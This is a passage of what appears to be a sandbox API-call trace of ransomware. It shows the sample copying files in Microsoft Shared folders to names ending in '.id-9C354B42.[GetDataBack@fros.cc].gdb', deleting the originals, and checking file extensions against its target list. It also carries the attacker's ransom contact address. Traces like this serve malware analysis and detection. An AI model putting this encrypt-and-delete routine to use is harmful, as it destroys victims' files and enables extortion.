(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.060] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.060] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0128.351] GetLastError () returned 0x0 [0128.351] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x6a29, lpOverlapped=0x0) returned 1 [0128.355] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x6a30, lpOverlapped=0x0) returned 1 [0128.356] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0128.356] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0128.356] SetEndOfFile (hFile=0x210) returned 1 [0128.357] CloseHandle (hObject=0x210) returned 1 [0128.357] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.357] SetEndOfFile (hFile=0x1ec) returned 1 [0128.475] CloseHandle (hObject=0x1ec) returned 1 [0128.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.475] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0128.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.475] lstrlenW (lpString=".doc") returned 4 [0128.475] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.475] lstrlenW (lpString=".docx") returned 5 [0128.475] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.475] lstrlenW (lpString=".pdf") returned 4 [0128.476] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.476] lstrlenW (lpString=".xls") returned 4 [0128.476] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.476] lstrlenW (lpString=".xlsx") returned 5 [0128.476] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.476] lstrlenW (lpString=".ppt") returned 4 [0128.476] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.476] lstrlenW (lpString=".zip") returned 4 [0128.476] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.476] lstrlenW (lpString=".rar") returned 4 [0128.476] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.476] lstrlenW (lpString=".bz2") returned 4 [0128.476] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.476] lstrlenW (lpString=".7z") returned 3 [0128.476] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.476] lstrlenW (lpString=".dbf") returned 4 [0128.476] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.476] lstrlenW (lpString=".1cd") returned 4 [0128.476] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.476] lstrlenW (lpString=".jpg") returned 4 [0128.476] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.476] lstrlenW (lpString=".doc") returned 4 [0128.476] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.476] lstrlenW (lpString=".docx") returned 5 [0128.476] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.476] lstrlenW (lpString=".pdf") returned 4 [0128.476] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.477] lstrlenW (lpString=".xls") returned 4 [0128.477] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.477] lstrlenW (lpString=".xlsx") returned 5 [0128.477] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.477] lstrlenW (lpString=".ppt") returned 4 [0128.477] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.477] lstrlenW (lpString=".zip") returned 4 [0128.477] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.477] lstrlenW (lpString=".rar") returned 4 [0128.477] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.477] lstrlenW (lpString=".bz2") returned 4 [0128.477] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.477] lstrlenW (lpString=".7z") returned 3 [0128.477] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.477] lstrlenW (lpString=".dbf") returned 4 [0128.477] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.477] lstrlenW (lpString=".1cd") returned 4 [0128.477] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0128.477] lstrlenW (lpString=".jpg") returned 4 [0128.477] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.477] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0128.477] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0128.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.478] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1737) returned 1 [0128.478] CloseHandle (hObject=0x1ec) returned 1 [0128.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0128.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.478] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.478] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.732] GetLastError () returned 0x0 [0128.732] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x6c9, lpOverlapped=0x0) returned 1 [0128.734] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x6d0, lpOverlapped=0x0) returned 1 [0128.735] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0128.735] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0128.735] SetEndOfFile (hFile=0x204) returned 1 [0128.735] CloseHandle (hObject=0x204) returned 1 [0128.735] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.735] SetEndOfFile (hFile=0x1ec) returned 1 [0128.736] CloseHandle (hObject=0x1ec) returned 1 [0128.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.736] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0128.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.737] lstrlenW (lpString=".doc") returned 4 [0128.737] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.737] lstrlenW (lpString=".docx") returned 5 [0128.737] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.737] lstrlenW (lpString=".pdf") returned 4 [0128.737] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.737] lstrlenW (lpString=".xls") returned 4 [0128.737] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.737] lstrlenW (lpString=".xlsx") returned 5 [0128.737] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.737] lstrlenW (lpString=".ppt") returned 4 [0128.737] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.737] lstrlenW (lpString=".zip") returned 4 [0128.737] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.737] lstrlenW (lpString=".rar") returned 4 [0128.737] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.737] lstrlenW (lpString=".bz2") returned 4 [0128.737] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.737] lstrlenW (lpString=".7z") returned 3 [0128.737] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.737] lstrlenW (lpString=".dbf") returned 4 [0128.737] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.737] lstrlenW (lpString=".1cd") returned 4 [0128.737] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.737] lstrlenW (lpString=".jpg") returned 4 [0128.738] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.738] lstrlenW (lpString=".doc") returned 4 [0128.738] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.738] lstrlenW (lpString=".docx") returned 5 [0128.738] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.738] lstrlenW (lpString=".pdf") returned 4 [0128.738] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.738] lstrlenW (lpString=".xls") returned 4 [0128.738] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.738] lstrlenW (lpString=".xlsx") returned 5 [0128.738] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.738] lstrlenW (lpString=".ppt") returned 4 [0128.738] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.738] lstrlenW (lpString=".zip") returned 4 [0128.738] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.738] lstrlenW (lpString=".rar") returned 4 [0128.738] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.738] lstrlenW (lpString=".bz2") returned 4 [0128.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.738] lstrlenW (lpString=".7z") returned 3 [0128.738] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.738] lstrlenW (lpString=".dbf") returned 4 [0128.738] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.738] lstrlenW (lpString=".1cd") returned 4 [0128.738] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0128.738] lstrlenW (lpString=".jpg") returned 4 [0128.738] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.739] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0128.739] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0128.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.739] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1675) returned 1 [0128.739] CloseHandle (hObject=0x1ec) returned 1 [0128.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0128.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.739] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.740] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.893] GetLastError () returned 0x0 [0128.893] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x68b, lpOverlapped=0x0) returned 1 [0128.895] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x690, lpOverlapped=0x0) returned 1 [0128.896] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0128.896] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0128.896] SetEndOfFile (hFile=0x204) returned 1 [0128.897] CloseHandle (hObject=0x204) returned 1 [0128.897] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.897] SetEndOfFile (hFile=0x1ec) returned 1 [0128.898] CloseHandle (hObject=0x1ec) returned 1 [0128.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0128.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.898] lstrlenW (lpString=".doc") returned 4 [0128.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.898] lstrlenW (lpString=".docx") returned 5 [0128.898] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.898] lstrlenW (lpString=".pdf") returned 4 [0128.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.899] lstrlenW (lpString=".xls") returned 4 [0128.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.899] lstrlenW (lpString=".xlsx") returned 5 [0128.899] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.899] lstrlenW (lpString=".ppt") returned 4 [0128.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.899] lstrlenW (lpString=".zip") returned 4 [0128.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.899] lstrlenW (lpString=".rar") returned 4 [0128.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.899] lstrlenW (lpString=".bz2") returned 4 [0128.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.899] lstrlenW (lpString=".7z") returned 3 [0128.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.899] lstrlenW (lpString=".dbf") returned 4 [0128.899] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.899] lstrlenW (lpString=".1cd") returned 4 [0128.899] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.899] lstrlenW (lpString=".jpg") returned 4 [0128.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.899] lstrlenW (lpString=".doc") returned 4 [0128.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.899] lstrlenW (lpString=".docx") returned 5 [0128.899] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.899] lstrlenW (lpString=".pdf") returned 4 [0128.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.900] lstrlenW (lpString=".xls") returned 4 [0128.900] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.900] lstrlenW (lpString=".xlsx") returned 5 [0128.900] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.900] lstrlenW (lpString=".ppt") returned 4 [0128.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.900] lstrlenW (lpString=".zip") returned 4 [0128.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.900] lstrlenW (lpString=".rar") returned 4 [0128.900] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.900] lstrlenW (lpString=".bz2") returned 4 [0128.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.900] lstrlenW (lpString=".7z") returned 3 [0128.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.900] lstrlenW (lpString=".dbf") returned 4 [0128.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.900] lstrlenW (lpString=".1cd") returned 4 [0128.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0128.900] lstrlenW (lpString=".jpg") returned 4 [0128.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.900] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0128.900] lstrlenW (lpString="VBCN6.CHM") returned 9 [0128.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.901] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=109718) returned 1 [0128.901] CloseHandle (hObject=0x1ec) returned 1 [0128.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0128.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.901] CreateFileW (lpFileName="C:\\Program 